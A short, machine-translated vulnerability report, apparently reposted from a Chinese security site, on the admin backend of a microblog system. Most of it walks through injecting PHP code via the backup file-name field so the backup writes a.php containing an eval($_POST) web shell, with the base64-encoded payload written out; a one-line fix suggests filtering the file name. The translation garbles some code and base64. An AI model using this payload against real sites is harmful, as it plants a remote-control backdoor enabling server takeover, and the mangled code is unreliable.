Record dog Weibo uses shell in the background

The logging dog Weibo system has a design defect in the background, which can lead to shell access to the background.


1. system Tools-> data backup-> Custom backup-> select a table with a small data volume-> more options-> select a compressed backup file-> compress multiple volumes into one file
2. Enter
'); File_put_contents (base64_decode ('ys5waha ='), base64_decode ('pd9wahagzxzhbcgkx1bpu1rbyv0ppz4 = '); (' www.2cto.com
After the backup is successful, a. php is generated in the root directory of the website. The content is <? Php eval ($ _ POST [a])?>
Modify the encoding in base64_decode.





 
 
 
Solution:

Backup File Name input validation, filtering characters

Author lxsec